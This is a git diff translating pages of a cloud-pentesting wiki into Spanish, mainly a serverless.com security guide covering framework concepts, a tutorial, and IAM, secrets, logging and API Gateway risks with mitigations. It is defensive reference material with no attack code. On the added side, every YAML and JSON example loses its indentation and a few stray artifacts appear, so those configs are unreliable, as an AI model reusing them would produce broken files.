benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). La auditoría se centra en todo el proceso SDLC, donde puede revelar riesgos desde el tiempo de código hasta el tiempo de despliegue. ### Top 10 CI/CD Security Risk -Check this interesting article about the top 10 CI/CD risks according to Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) +Consulta este interesante artículo sobre los 10 principales riesgos de CI/CD según Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) ### Labs -- On each platform that you can run locally you will find how to launch it locally so you can configure it as you want to test it -- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat) +- En cada plataforma que puedes ejecutar localmente encontrarás cómo lanzarla localmente para que puedas configurarla como desees para probarla. +- Laboratorio Gitea + Jenkins: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat) ### Automatic Tools -- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** is a static code analysis tool for infrastructure-as-code. +- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** es una herramienta de análisis de código estático para infraestructura como código. ## References - [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422) {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/serverless.com-security.md b/src/pentesting-ci-cd/serverless.com-security.md index bf1343702..c29aecd4a 100644 --- a/src/pentesting-ci-cd/serverless.com-security.md +++ b/src/pentesting-ci-cd/serverless.com-security.md @@ -2,302 +2,273 @@ {{#include ../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -### Organization +### Organización -An **Organization** is the highest-level entity within the Serverless Framework ecosystem. It represents a **collective group**, such as a company, department, or any large entity, that encompasses multiple projects, teams, and applications. +Una **Organización** es la entidad de más alto nivel dentro del ecosistema de Serverless Framework. Representa un **grupo colectivo**, como una empresa, departamento o cualquier entidad grande, que abarca múltiples proyectos, equipos y aplicaciones. -### Team +### Equipo -The **Team** are the users with access inside the organization. Teams help in organizing members based on roles. **`Collaborators`** can view and deploy existing apps, while **`Admins`** can create new apps and manage organization settings. +El **Equipo** son los usuarios con acceso dentro de la organización. Los equipos ayudan a organizar a los miembros según roles. **`Colaboradores`** pueden ver y desplegar aplicaciones existentes, mientras que **`Administradores`** pueden crear nuevas aplicaciones y gestionar la configuración de la organización. -### Application +### Aplicación -An **App** is a logical grouping of related services within an Organization. It represents a complete application composed of multiple serverless services that work together to provide a cohesive functionality. +Una **Aplicación** es un agrupamiento lógico de servicios relacionados dentro de una Organización. Representa una aplicación completa compuesta de múltiples servicios serverless que trabajan juntos para proporcionar una funcionalidad cohesiva. -### **Services** - -A **Service** is the core component of a Serverless application. It represents your entire serverless project, encapsulating all the functions, configurations, and resources needed. It's typically defined in a `serverless.yml` file, a service includes metadata like the service name, provider configurations, functions, events, resources, plugins, and custom variables. +### **Servicios** +Un **Servicio** es el componente central de una aplicación Serverless. Representa tu proyecto serverless completo, encapsulando todas las funciones, configuraciones y recursos necesarios. Se define típicamente en un archivo `serverless.yml`, un servicio incluye metadatos como el nombre del servicio, configuraciones del proveedor, funciones, eventos, recursos, plugins y variables personalizadas. ```yaml service: my-service provider: - name: aws - runtime: nodejs14.x +name: aws +runtime: nodejs14.x functions: - hello: - handler: handler.hello +hello: +handler: handler.hello ``` -
-Function +Función -A **Function** represents a single serverless function, such as an AWS Lambda function. It contains the code that executes in response to events. - -It's defined under the `functions` section in `serverless.yml`, specifying the handler, runtime, events, environment variables, and other settings. +Una **Función** representa una única función serverless, como una función AWS Lambda. Contiene el código que se ejecuta en respuesta a eventos. +Se define en la sección `functions` en `serverless.yml`, especificando el controlador, el entorno de ejecución, los eventos, las variables de entorno y otras configuraciones. ```yaml functions: - hello: - handler: handler.hello - events: - - http: - path: hello - method: get +hello: +handler: handler.hello +events: +- http: +path: hello +method: get ``` -
-Event +Evento -**Events** are triggers that invoke your serverless functions. They define how and when a function should be executed. - -Common event types include HTTP requests, scheduled events (cron jobs), database events, file uploads, and more. +**Eventos** son disparadores que invocan tus funciones sin servidor. Definen cómo y cuándo se debe ejecutar una función. +Los tipos de eventos comunes incluyen solicitudes HTTP, eventos programados (trabajos cron), eventos de base de datos, cargas de archivos y más. ```yaml functions: - hello: - handler: handler.hello - events: - - http: - path: hello - method: get - - schedule: - rate: rate(10 minutes) +hello: +handler: handler.hello +events: +- http: +path: hello +method: get +- schedule: +rate: rate(10 minutes) ``` -
-Resource +Recurso -**Resources** allow you to define additional cloud resources that your service depends on, such as databases, storage buckets, or IAM roles. - -They are specified under the `resources` section, often using CloudFormation syntax for AWS. +**Recursos** te permiten definir recursos adicionales en la nube de los que depende tu servicio, como bases de datos, buckets de almacenamiento o roles de IAM. +Se especifican en la sección `resources`, a menudo utilizando la sintaxis de CloudFormation para AWS. ```yaml resources: - Resources: - MyDynamoDBTable: - Type: AWS::DynamoDB::Table - Properties: - TableName: my-table - AttributeDefinitions: - - AttributeName: id - AttributeType: S - KeySchema: - - AttributeName: id - KeyType: HASH - ProvisionedThroughput: - ReadCapacityUnits: 1 - WriteCapacityUnits: 1 +Resources: +MyDynamoDBTable: +Type: AWS::DynamoDB::Table +Properties: +TableName: my-table +AttributeDefinitions: +- AttributeName: id +AttributeType: S +KeySchema: +- AttributeName: id +KeyType: HASH +ProvisionedThroughput: +ReadCapacityUnits: 1 +WriteCapacityUnits: 1 ``` -
-Provider +Proveedor -The **Provider** object specifies the cloud service provider (e.g., AWS, Azure, Google Cloud) and contains configuration settings relevant to that provider. - -It includes details like the runtime, region, stage, and credentials. +El **Proveedor** objeto especifica el proveedor de servicios en la nube (por ejemplo, AWS, Azure, Google Cloud) y contiene configuraciones relevantes para ese proveedor. +Incluye detalles como el tiempo de ejecución, la región, la etapa y las credenciales. ```yaml yamlCopy codeprovider: - name: aws - runtime: nodejs14.x - region: us-east-1 - stage: dev +name: aws +runtime: nodejs14.x +region: us-east-1 +stage: dev ``` -
-Stage and Region - -The stage represents different environments (e.g., development, staging, production) where your service can be deployed. It allows for environment-specific configurations and deployments. +Etapa y Región +La etapa representa diferentes entornos (por ejemplo, desarrollo, preproducción, producción) donde su servicio puede ser desplegado. Permite configuraciones y despliegues específicos del entorno. ```yaml provider: - stage: dev +stage: dev ``` - -The region specifies the geographical region where your resources will be deployed. It's important for latency, compliance, and availability considerations. - +La región especifica la región geográfica donde se desplegarán tus recursos. Es importante para consideraciones de latencia, cumplimiento y disponibilidad. ```yaml provider: - region: us-west-2 +region: us-west-2 ``` -
Plugins -**Plugins** extend the functionality of the Serverless Framework by adding new features or integrating with other tools and services. They are defined under the `plugins` section and installed via npm. - +**Plugins** extienden la funcionalidad del Serverless Framework al agregar nuevas características o integrarse con otras herramientas y servicios. Se definen en la sección `plugins` y se instalan a través de npm. ```yaml plugins: - - serverless-offline - - serverless-webpack +- serverless-offline +- serverless-webpack ``` -
-Layers - -**Layers** allow you to package and manage shared code or dependencies separately from your functions. This promotes reusability and reduces deployment package sizes. They are defined under the `layers` section and referenced by functions. +Capas +**Capas** te permiten empaquetar y gestionar código compartido o dependencias por separado de tus funciones. Esto promueve la reutilización y reduce el tamaño de los paquetes de despliegue. Se definen en la sección `layers` y son referenciadas por las funciones. ```yaml layers: - commonLibs: - path: layer-common +commonLibs: +path: layer-common functions: - hello: - handler: handler.hello - layers: - - { Ref: CommonLibsLambdaLayer } +hello: +handler: handler.hello +layers: +- { Ref: CommonLibsLambdaLayer } +``` +
+ +
+ +Variables y Variables Personalizadas + +**Variables** permiten la configuración dinámica al permitir el uso de marcadores de posición que se resuelven en el momento de la implementación. + +- **Sintaxis:** La sintaxis `${variable}` puede hacer referencia a variables de entorno, contenidos de archivos u otros parámetros de configuración. + +```yaml +functions: +hello: +handler: handler.hello +environment: +TABLE_NAME: ${self:custom.tableName} +``` + +* **Variables Personalizadas:** La sección `custom` se utiliza para definir variables y configuraciones específicas del usuario que pueden ser reutilizadas en todo el `serverless.yml`. + +```yaml +custom: +tableName: my-dynamodb-table +stage: ${opt:stage, 'dev'} ```
-Variables and Custom Variables - -**Variables** enable dynamic configuration by allowing the use of placeholders that are resolved at deployment time. - -- **Syntax:** `${variable}` syntax can reference environment variables, file contents, or other configuration parameters. - - ```yaml - functions: - hello: - handler: handler.hello - environment: - TABLE_NAME: ${self:custom.tableName} - ``` - -* **Custom Variables:** The `custom` section is used to define user-specific variables and configurations that can be reused throughout the `serverless.yml`. - - ```yaml - custom: - tableName: my-dynamodb-table - stage: ${opt:stage, 'dev'} - ``` - -
- -
- -Outputs - -**Outputs** define the values that are returned after a service is deployed, such as resource ARNs, endpoints, or other useful information. They are specified under the `outputs` section and often used to expose information to other services or for easy access post-deployment. +Salidas +**Salidas** definen los valores que se devuelven después de que un servicio es implementado, como ARNs de recursos, puntos finales u otra información útil. Se especifican en la sección `outputs` y a menudo se utilizan para exponer información a otros servicios o para un acceso fácil después de la implementación. ```yaml ¡outputs: - ApiEndpoint: - Description: "API Gateway endpoint URL" - Value: - Fn::Join: - - "" - - - "https://" - - Ref: ApiGatewayRestApi - - ".execute-api." - - Ref: AWS::Region - - ".amazonaws.com/" - - Ref: AWS::Stage +ApiEndpoint: +Description: "API Gateway endpoint URL" +Value: +Fn::Join: +- "" +- - "https://" +- Ref: ApiGatewayRestApi +- ".execute-api." +- Ref: AWS::Region +- ".amazonaws.com/" +- Ref: AWS::Stage ``` -
-IAM Roles and Permissions - -**IAM Roles and Permissions** define the security credentials and access rights for your functions and other resources. They are managed under the `provider` or individual function settings to specify necessary permissions. +Roles y Permisos de IAM +**Roles y Permisos de IAM** definen las credenciales de seguridad y los derechos de acceso para tus funciones y otros recursos. Se gestionan bajo la configuración del `provider` o de funciones individuales para especificar los permisos necesarios. ```yaml provider: - [...] - iam: - role: - statements: - - Effect: 'Allow' - Action: - - 'dynamodb:PutItem' - - 'dynamodb:Get*' - - 'dynamodb:Scan*' - - 'dynamodb:UpdateItem' - - 'dynamodb:DeleteItem' - Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage} +[...] +iam: +role: +statements: +- Effect: 'Allow' +Action: +- 'dynamodb:PutItem' +- 'dynamodb:Get*' +- 'dynamodb:Scan*' +- 'dynamodb:UpdateItem' +- 'dynamodb:DeleteItem' +Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage} ``` -
-Environment Variables - -**Variables** allow you to pass configuration settings and secrets to your functions without hardcoding them. They are defined under the `environment` section for either the provider or individual functions. +Variables de Entorno +**Variables** te permiten pasar configuraciones y secretos a tus funciones sin codificarlos de forma rígida. Se definen en la sección `environment` para el proveedor o funciones individuales. ```yaml provider: - environment: - STAGE: ${self:provider.stage} +environment: +STAGE: ${self:provider.stage} functions: - hello: - handler: handler.hello - environment: - TABLE_NAME: ${self:custom.tableName} +hello: +handler: handler.hello +environment: +TABLE_NAME: ${self:custom.tableName} ``` -
-Dependencies - -**Dependencies** manage the external libraries and modules your functions require. They typically handled via package managers like npm or pip, and bundled with your deployment package using tools or plugins like `serverless-webpack`. +Dependencias +**Dependencias** gestionan las bibliotecas y módulos externos que requieren tus funciones. Normalmente se manejan a través de administradores de paquetes como npm o pip, y se empaquetan con tu paquete de despliegue utilizando herramientas o complementos como `serverless-webpack`. ```yaml plugins: - - serverless-webpack +- serverless-webpack ``` -
Hooks -**Hooks** allow you to run custom scripts or commands at specific points in the deployment lifecycle. They are defined using plugins or within the `serverless.yml` to perform actions before or after deployments. - +**Hooks** te permiten ejecutar scripts o comandos personalizados en puntos específicos del ciclo de vida de despliegue. Se definen utilizando plugins o dentro del `serverless.yml` para realizar acciones antes o después de los despliegues. ```yaml custom: - hooks: - before:deploy:deploy: echo "Starting deployment..." +hooks: +before:deploy:deploy: echo "Starting deployment..." ``` -
### Tutorial -This is a summary of the official tutorial [**from the docs**](https://www.serverless.com/framework/docs/tutorial): - -1. Create an AWS account (Serverless.com start in AWS infrastructure) -2. Create an account in serverless.com -3. Create an app: +Este es un resumen del tutorial oficial [**de la documentación**](https://www.serverless.com/framework/docs/tutorial): +1. Crea una cuenta de AWS (Serverless.com comienza en la infraestructura de AWS) +2. Crea una cuenta en serverless.com +3. Crea una aplicación: ```bash # Create temp folder for the tutorial mkdir /tmp/serverless-tutorial @@ -313,26 +284,22 @@ serverless #Choose first one (AWS / Node.js / HTTP API) ## Create A New App ## Indicate a name like "tutorialapp) ``` - -This should have created an **app** called `tutorialapp` that you can check in [serverless.com](serverless.com-security.md) and a folder called `Tutorial` with the file **`handler.js`** containing some JS code with a `helloworld` code and the file **`serverless.yml`** declaring that function: +Esto debería haber creado una **app** llamada `tutorialapp` que puedes verificar en [serverless.com](serverless.com-security.md) y una carpeta llamada `Tutorial` con el archivo **`handler.js`** que contiene algo de código JS con un código `helloworld` y el archivo **`serverless.yml`** declarando esa función: {{#tabs }} {{#tab name="handler.js" }} - ```javascript exports.hello = async (event) => { - return { - statusCode: 200, - body: JSON.stringify({ - message: "Go Serverless v4! Your function executed successfully!", - }), - } +return { +statusCode: 200, +body: JSON.stringify({ +message: "Go Serverless v4! Your function executed successfully!", +}), +} } ``` - {{#endtab }} {{#tab name="serverless.yml" }} - ```yaml # "org" ensures this Service is used with the correct Serverless Framework Access Key. org: testing12342 @@ -342,130 +309,122 @@ app: tutorialapp service: Tutorial provider: - name: aws - runtime: nodejs20.x +name: aws +runtime: nodejs20.x functions: - hello: - handler: handler.hello - events: - - httpApi: - path: / - method: get +hello: +handler: handler.hello +events: +- httpApi: +path: / +method: get ``` - {{#endtab }} {{#endtabs }} -4. Create an AWS provider, going in the **dashboard** in `https://app.serverless.com//settings/providers?providerId=new&provider=aws`. - 1. To give `serverless.com` access to AWS It will ask to run a cloudformation stack using this config file (at the time of this writing): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml) - 2. This template generates a role called **`SFRole-`** with **`arn:aws:iam::aws:policy/AdministratorAccess`** over the account with a Trust Identity that allows `Serverless.com` AWS account to access the role. +4. Crea un proveedor de AWS, yendo al **dashboard** en `https://app.serverless.com//settings/providers?providerId=new&provider=aws`. +1. Para dar acceso a `serverless.com` a AWS, pedirá ejecutar una pila de cloudformation usando este archivo de configuración (en el momento de escribir esto): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml) +2. Esta plantilla genera un rol llamado **`SFRole-`** con **`arn:aws:iam::aws:policy/AdministratorAccess`** sobre la cuenta con una Identidad de Confianza que permite a la cuenta de AWS de `Serverless.com` acceder al rol.
Yaml roleTemplate - ```yaml Description: This stack creates an IAM role that can be used by Serverless Framework for use in deployments. Resources: - SFRole: - Type: AWS::IAM::Role - Properties: - AssumeRolePolicyDocument: - Version: "2012-10-17" - Statement: - - Effect: Allow - Principal: - AWS: arn:aws:iam::486128539022:root - Action: - - sts:AssumeRole - Condition: - StringEquals: - sts:ExternalId: !Sub "ServerlessFramework-${OrgUid}" - Path: / - RoleName: !Ref RoleName - ManagedPolicyArns: - - arn:aws:iam::aws:policy/AdministratorAccess - ReporterFunction: - Type: Custom::ServerlessFrameworkReporter - Properties: - ServiceToken: "arn:aws:lambda:us-east-1:486128539022:function:sp-providers-stack-reporter-custom-resource-prod-tmen2ec" - OrgUid: !Ref OrgUid - RoleArn: !GetAtt SFRole.Arn - Alias: !Ref Alias +SFRole: +Type: AWS::IAM::Role +Properties: +AssumeRolePolicyDocument: +Version: "2012-10-17" +Statement: +- Effect: Allow +Principal: +AWS: arn:aws:iam::486128539022:root +Action: +- sts:AssumeRole +Condition: +StringEquals: +sts:ExternalId: !Sub "ServerlessFramework-${OrgUid}" +Path: / +RoleName: !Ref RoleName +ManagedPolicyArns: +- arn:aws:iam::aws:policy/AdministratorAccess +ReporterFunction: +Type: Custom::ServerlessFrameworkReporter +Properties: +ServiceToken: "arn:aws:lambda:us-east-1:486128539022:function:sp-providers-stack-reporter-custom-resource-prod-tmen2ec" +OrgUid: !Ref OrgUid +RoleArn: !GetAtt SFRole.Arn +Alias: !Ref Alias Outputs: - SFRoleArn: - Description: "ARN for the IAM Role used by Serverless Framework" - Value: !GetAtt SFRole.Arn +SFRoleArn: +Description: "ARN for the IAM Role used by Serverless Framework" +Value: !GetAtt SFRole.Arn Parameters: - OrgUid: - Description: Serverless Framework Org Uid - Type: String - Alias: - Description: Serverless Framework Provider Alias - Type: String - RoleName: - Description: Serverless Framework Role Name - Type: String +OrgUid: +Description: Serverless Framework Org Uid +Type: String +Alias: +Description: Serverless Framework Provider Alias +Type: String +RoleName: +Description: Serverless Framework Role Name +Type: String ``` -
-Trust Relationship - +Relación de Confianza ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::486128539022:root" - }, - "Action": "sts:AssumeRole", - "Condition": { - "StringEquals": { - "sts:ExternalId": "ServerlessFramework-7bf7ddef-e1bf-43eb-a111-4d43e0894ccb" - } - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::486128539022:root" +}, +"Action": "sts:AssumeRole", +"Condition": { +"StringEquals": { +"sts:ExternalId": "ServerlessFramework-7bf7ddef-e1bf-43eb-a111-4d43e0894ccb" +} +} +} +] } ``` -
-5. The tutorial asks to create the file `createCustomer.js` which will basically create a new API endpoint handled by the new JS file and asks to modify the `serverless.yml` file to make it generate a **new DynamoDB table**, define an **environment variable**, the role that will be using the generated lambdas. +5. El tutorial pide crear el archivo `createCustomer.js`, que básicamente creará un nuevo endpoint de API manejado por el nuevo archivo JS y pide modificar el archivo `serverless.yml` para que genere una **nueva tabla DynamoDB**, defina una **variable de entorno**, el rol que estará utilizando las lambdas generadas. {{#tabs }} {{#tab name="createCustomer.js" }} - ```javascript "use strict" const AWS = require("aws-sdk") module.exports.createCustomer = async (event) => { - const body = JSON.parse(Buffer.from(event.body, "base64").toString()) - const dynamoDb = new AWS.DynamoDB.DocumentClient() - const putParams = { - TableName: process.env.DYNAMODB_CUSTOMER_TABLE, - Item: { - primary_key: body.name, - email: body.email, - }, - } - await dynamoDb.put(putParams).promise() - return { - statusCode: 201, - } +const body = JSON.parse(Buffer.from(event.body, "base64").toString()) +const dynamoDb = new AWS.DynamoDB.DocumentClient() +const putParams = { +TableName: process.env.DYNAMODB_CUSTOMER_TABLE, +Item: { +primary_key: body.name, +email: body.email, +}, +} +await dynamoDb.put(putParams).promise() +return { +statusCode: 201, +} } ``` - {{#endtab }} {{#tab name="serverless.yml" }} - ```yaml # "org" ensures this Service is used with the correct Serverless Framework Access Key. org: testing12342 @@ -475,388 +434,379 @@ app: tutorialapp service: Tutorial provider: - name: aws - runtime: nodejs20.x - environment: - DYNAMODB_CUSTOMER_TABLE: ${self:service}-customerTable-${sls:stage} - iam: - role: - statements: - - Effect: "Allow" - Action: - - "dynamodb:PutItem" - - "dynamodb:Get*" - - "dynamodb:Scan*" - - "dynamodb:UpdateItem" - - "dynamodb:DeleteItem" - Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage} +name: aws +runtime: nodejs20.x +environment: +DYNAMODB_CUSTOMER_TABLE: ${self:service}-customerTable-${sls:stage} +iam: +role: +statements: +- Effect: "Allow" +Action: +- "dynamodb:PutItem" +- "dynamodb:Get*" +- "dynamodb:Scan*" +- "dynamodb:UpdateItem" +- "dynamodb:DeleteItem" +Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage} functions: - hello: - handler: handler.hello - events: - - httpApi: - path: / - method: get - createCustomer: - handler: createCustomer.createCustomer - events: - - httpApi: - path: / - method: post +hello: +handler: handler.hello +events: +- httpApi: +path: / +method: get +createCustomer: +handler: createCustomer.createCustomer +events: +- httpApi: +path: / +method: post resources: - Resources: - CustomerTable: - Type: AWS::DynamoDB::Table - Properties: - AttributeDefinitions: - - AttributeName: primary_key - AttributeType: S - BillingMode: PAY_PER_REQUEST - KeySchema: - - AttributeName: primary_key - KeyType: HASH - TableName: ${self:service}-customerTable-${sls:stage} +Resources: +CustomerTable: +Type: AWS::DynamoDB::Table +Properties: +AttributeDefinitions: +- AttributeName: primary_key +AttributeType: S +BillingMode: PAY_PER_REQUEST +KeySchema: +- AttributeName: primary_key +KeyType: HASH +TableName: ${self:service}-customerTable-${sls:stage} ``` - {{#endtab }} {{#endtabs }} -6. Deploy it running **`serverless deploy`** - 1. The deployment will be performed via a CloudFormation Stack - 2. Note that the **lambdas are exposed via API gateway** and not via direct URLs -7. **Test it** - 1. The previous step will print the **URLs** where your API endpoints lambda functions have been deployed +6. Despliegue ejecutando **`serverless deploy`** +1. El despliegue se realizará a través de una pila de CloudFormation +2. Tenga en cuenta que las **lambdas están expuestas a través de API gateway** y no a través de URLs directas +7. **Pruébelo** +1. El paso anterior imprimirá las **URLs** donde se han desplegado las funciones lambda de sus puntos finales de API -## Security Review of Serverless.com +## Revisión de Seguridad de Serverless.com -### **Misconfigured IAM Roles and Permissions** +### **Roles y Permisos IAM Mal Configurados** -Overly permissive IAM roles can grant unauthorized access to cloud resources, leading to data breaches or resource manipulation. +Los roles IAM excesivamente permisivos pueden otorgar acceso no autorizado a recursos en la nube, lo que lleva a filtraciones de datos o manipulación de recursos. -When no permissions are specified for the a Lambda function, a role with permissions only to generate logs will be created, like: +Cuando no se especifican permisos para una función Lambda, se creará un rol con permisos solo para generar registros, como:
-Minimum lambda permissions - +Permisos mínimos de lambda ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Action": [ - "logs:CreateLogStream", - "logs:CreateLogGroup", - "logs:TagResource" - ], - "Resource": [ - "arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*" - ], - "Effect": "Allow" - }, - { - "Action": ["logs:PutLogEvents"], - "Resource": [ - "arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*:*" - ], - "Effect": "Allow" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Action": [ +"logs:CreateLogStream", +"logs:CreateLogGroup", +"logs:TagResource" +], +"Resource": [ +"arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*" +], +"Effect": "Allow" +}, +{ +"Action": ["logs:PutLogEvents"], +"Resource": [ +"arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*:*" +], +"Effect": "Allow" +} +] } ``` -
-#### **Mitigation Strategies** +#### **Estrategias de Mitigación** -- **Principle of Least Privilege:** Assign only necessary permissions to each function. - - ```yaml - provider: - [...] - iam: - role: - statements: - - Effect: 'Allow' - Action: - - 'dynamodb:PutItem' - - 'dynamodb:Get*' - - 'dynamodb:Scan*' - - 'dynamodb:UpdateItem' - - 'dynamodb:DeleteItem' - Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage} - ``` - -- **Use Separate Roles:** Differentiate roles based on function requirements. - ---- - -### **Insecure Secrets and Configuration Management** - -Storing sensitive information (e.g., API keys, database credentials) directly in **`serverless.yml`** or code can lead to exposure if repositories are compromised. - -The **recommended** way to store environment variables in **`serverless.yml`** file from serverless.com (at the time of this writing) is to use the `ssm` or `s3` providers, which allows to get the **environment values from these sources at deployment time** and **configure** the **lambdas** environment variables with the **text clear of the values**! - -> [!CAUTION] -> Therefore, anyone with permissions to read the lambdas configuration inside AWS will be able to **access all these environment variables in clear text!** - -For example, the following example will use SSM to get an environment variable: +- **Principio de Menor Privilegio:** Asignar solo los permisos necesarios a cada función. ```yaml provider: - environment: - DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true} +[...] +iam: +role: +statements: +- Effect: 'Allow' +Action: +- 'dynamodb:PutItem' +- 'dynamodb:Get*' +- 'dynamodb:Scan*' +- 'dynamodb:UpdateItem' +- 'dynamodb:DeleteItem' +Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage} ``` +- **Usar Roles Separados:** Diferenciar roles según los requisitos de la función. + +--- + +### **Secretos Inseguros y Gestión de Configuración** + +Almacenar información sensible (por ejemplo, claves API, credenciales de base de datos) directamente en **`serverless.yml`** o en el código puede llevar a la exposición si los repositorios son comprometidos. + +La **manera recomendada** de almacenar variables de entorno en el archivo **`serverless.yml`** de serverless.com (en el momento de escribir esto) es usar los proveedores `ssm` o `s3`, que permiten obtener los **valores de entorno de estas fuentes en el momento de la implementación** y **configurar** las **variables de entorno de las lambdas** con el **texto claro de los valores**! + +> [!CAUTION] +> Por lo tanto, cualquier persona con permisos para leer la configuración de las lambdas dentro de AWS podrá **acceder a todas estas variables de entorno en texto claro!** + +Por ejemplo, el siguiente ejemplo usará SSM para obtener una variable de entorno: +```yaml +provider: +environment: +DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true} +``` And even if this prevents hardcoding the environment variable value in the **`serverless.yml`** file, the value will be obtained at deployment time and will be **added in clear text inside the lambda environment variable**. > [!TIP] -> The recommended way to store environment variables using serveless.com would be to **store it in a AWS secret** and just store the secret name in the environment variable and the **lambda code should gather it**. +> La forma recomendada de almacenar variables de entorno usando serveless.com sería **almacenarla en un secreto de AWS** y solo almacenar el nombre del secreto en la variable de entorno y el **código lambda debería recogerlo**. -#### **Mitigation Strategies** +#### **Estrategias de Mitigación** -- **Secrets Manager Integration:** Use services like **AWS Secrets Manager.** -- **Encrypted Variables:** Leverage Serverless Framework’s encryption features for sensitive data. -- **Access Controls:** Restrict access to secrets based on roles. +- **Integración con Secrets Manager:** Utilizar servicios como **AWS Secrets Manager.** +- **Variables Encriptadas:** Aprovechar las características de encriptación del Serverless Framework para datos sensibles. +- **Controles de Acceso:** Restringir el acceso a secretos según roles. --- -### **Vulnerable Code and Dependencies** +### **Código y Dependencias Vulnerables** -Outdated or insecure dependencies can introduce vulnerabilities, while improper input handling may lead to code injection attacks. +Dependencias desactualizadas o inseguras pueden introducir vulnerabilidades, mientras que un manejo inadecuado de entradas puede llevar a ataques de inyección de código. -#### **Mitigation Strategies** +#### **Estrategias de Mitigación** -- **Dependency Management:** Regularly update dependencies and scan for vulnerabilities. +- **Gestión de Dependencias:** Actualizar regularmente las dependencias y escanear en busca de vulnerabilidades. - ```yaml - plugins: - - serverless-webpack - - serverless-plugin-snyk - ``` +```yaml +plugins: +- serverless-webpack +- serverless-plugin-snyk +``` -- **Input Validation:** Implement strict validation and sanitization of all inputs. -- **Code Reviews:** Conduct thorough reviews to identify security flaws. -- **Static Analysis:** Use tools to detect vulnerabilities in the codebase. +- **Validación de Entradas:** Implementar una validación y sanitización estrictas de todas las entradas. +- **Revisiones de Código:** Realizar revisiones exhaustivas para identificar fallos de seguridad. +- **Análisis Estático:** Utilizar herramientas para detectar vulnerabilidades en la base de código. --- -### **Inadequate Logging and Monitoring** +### **Registro y Monitoreo Inadecuados** -Without proper logging and monitoring, malicious activities may go undetected, delaying incident response. +Sin un registro y monitoreo adecuados, las actividades maliciosas pueden pasar desapercibidas, retrasando la respuesta a incidentes. -#### **Mitigation Strategies** +#### **Estrategias de Mitigación** -- **Centralized Logging:** Aggregate logs using services like **AWS CloudWatch** or **Datadog**. +- **Registro Centralizado:** Agregar registros utilizando servicios como **AWS CloudWatch** o **Datadog**. - ```yaml - plugins: - - serverless-plugin-datadog - ``` +```yaml +plugins: +- serverless-plugin-datadog +``` -- **Enable Detailed Logging:** Capture essential information without exposing sensitive data. -- **Set Up Alerts:** Configure alerts for suspicious activities or anomalies. -- **Regular Monitoring:** Continuously monitor logs and metrics for potential security incidents. +- **Habilitar Registro Detallado:** Capturar información esencial sin exponer datos sensibles. +- **Configurar Alertas:** Configurar alertas para actividades sospechosas o anomalías. +- **Monitoreo Regular:** Monitorear continuamente registros y métricas en busca de posibles incidentes de seguridad. --- -### **Insecure API Gateway Configurations** +### **Configuraciones Inseguras de API Gateway** -Open or improperly secured APIs can be exploited for unauthorized access, Denial of Service (DoS) attacks, or cross-site attacks. +APIs abiertas o mal aseguradas pueden ser explotadas para acceso no autorizado, ataques de Denegación de Servicio (DoS) o ataques entre sitios. -#### **Mitigation Strategies** +#### **Estrategias de Mitigación** -- **Authentication and Authorization:** Implement robust mechanisms like OAuth, API keys, or JWT. +- **Autenticación y Autorización:** Implementar mecanismos robustos como OAuth, claves API o JWT. - ```yaml - functions: - hello: - handler: handler.hello - events: - - http: - path: hello - method: get - authorizer: aws_iam - ``` +```yaml +functions: +hello: +handler: handler.hello +events: +- http: +path: hello +method: get +authorizer: aws_iam +``` -- **Rate Limiting and Throttling:** Prevent abuse by limiting request rates. +- **Limitación de Tasa y Regulación:** Prevenir abusos limitando las tasas de solicitud. - ```yaml - provider: - apiGateway: - throttle: - burstLimit: 200 - rateLimit: 100 - ``` +```yaml +provider: +apiGateway: +throttle: +burstLimit: 200 +rateLimit: 100 +``` -- **Secure CORS Configuration:** Restrict allowed origins, methods, and headers. +- **Configuración Segura de CORS:** Restringir orígenes, métodos y encabezados permitidos. - ```yaml - functions: - hello: - handler: handler.hello - events: - - http: - path: hello - method: get - cors: - origin: https://yourdomain.com - headers: - - Content-Type - ``` +```yaml +functions: +hello: +handler: handler.hello +events: +- 